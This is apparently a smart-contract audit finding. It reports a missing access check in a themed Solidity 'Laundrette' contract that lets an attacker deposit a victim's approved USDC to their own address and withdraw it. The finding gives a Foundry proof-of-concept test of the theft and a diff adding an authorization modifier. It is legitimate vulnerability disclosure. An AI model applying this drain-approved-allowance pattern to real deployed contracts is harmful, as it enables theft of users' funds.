Description
The function Laundrette::depositTheCrimeMoneyInATM can be exploited by an attacker. it allows a user to deposit USDC into the MoneyShelf contract from an approved user's address and set the recipient address to the attacker's address. The attacker can then use the withdraw function to steal the money by exchanging CrimeMoney for USDC , leading to permanent theft. Even the GodFather cannot recover the stolen money.
Vulnerability Details
There is no access control to ensure that the msg.sender is the one depositing the money. As a result, an attacker can deposit approved funds on behalf of victims. The attacker can set the recipient address to their own and then withdraw the funds, exchanging the stolen USDC for CrimeMoney
function depositTheCrimeMoneyInATM(address account, address to, uint256 amount) external {
moneyShelf.depositUSDC(account, to, amount);
}
function putGunsInTheSuspendedCeiling(address account, uint256 amount) external isGodFather {
weaponShelf.deposit(account, amount);
}
Proof of Concept
The following proof of concept (PoC) demonstrates a theft scenario where the victim approves spending USDC to the MoneyShelf contract, allowing the attacker to steal this money.
pragma solidity 0.8.24;
import "./Base.t.sol";
import "./mocks/MockUSDC.sol";
contract AttackTest is BaseTest {
function test_AttackerCanStealUSDCFunds() public {
address attacker = makeAddr("Attacker");
address victim = makeAddr("Victim");
address godFather = kernel.executor();
vm.prank(kernel.admin());
kernel.grantRole(Role.wrap("gangmember"), godFather);
vm.startPrank(godFather);
laundrette.addToTheGang(attacker);
laundrette.addToTheGang(victim);
vm.stopPrank();
vm.prank(godFather);
usdc.transfer(victim, 100e6);
vm.startPrank(victim);
usdc.approve(address(moneyShelf), 100e6);
assertEq(usdc.balanceOf(victim), 100e6);
vm.stopPrank();
vm.startPrank(attacker);
laundrette.depositTheCrimeMoneyInATM(victim, attacker, 100e6);
laundrette.withdrawMoney(attacker, attacker, 100e6);
vm.stopPrank();
assertEq(usdc.balanceOf(victim), 0);
assertEq(usdc.balanceOf(attacker), 100e6);
}
}
Impact
The attacker can permanently steal USDC approved for the MoneyShelf contract.
Tools Used
Foundry
Manual Review
Mitigation
+ function depositTheCrimeMoneyInATM(address account, address to, uint256 amount) external isAuthorizedOrRevert(account)
- function depositTheCrimeMoneyInATM(address account, address to, uint256 amount) external {
moneyShelf.depositUSDC(account, to, amount);
}
function putGunsInTheSuspendedCeiling(address account, uint256 amount) external isGodFather {
weaponShelf.deposit(account, amount);
}